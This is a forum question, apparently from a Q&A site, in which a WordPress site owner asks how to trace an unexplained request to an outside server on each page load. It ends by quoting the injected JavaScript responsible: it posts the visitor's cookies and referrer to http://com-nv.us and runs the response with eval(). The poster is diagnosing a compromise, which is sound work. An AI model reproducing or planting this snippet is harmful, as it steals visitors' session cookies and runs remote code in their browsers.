Tracing a strange get http request to a random server

I have a WordPress site up and have seen that it is sending a HTTP request to a strange server and I am not sure why or what part of my website is making the request. From a firebug trace, it seems its a JavaScript request.

site here

Thanks Guys

Cristik/Dimitri, the request goes to:’http://com-nv.us/script.js?56174‘ the 56174 value changes and the request is sent everytime the page is loaded.
How would I do a grep search to find what is being sent?

@Dandavis
I never put any scripts on and it slows down the website. Is there a way to trace and control this?

jq = jq.noConflict();
jq.post('http://com-nv.us/script.js?56174', {
    referrer: document.referrer,
    cookies: document.cookie
}, function (dat) {
    jq(function () {
        jq('body').show();
        eval(dat);
    });
}, 'text');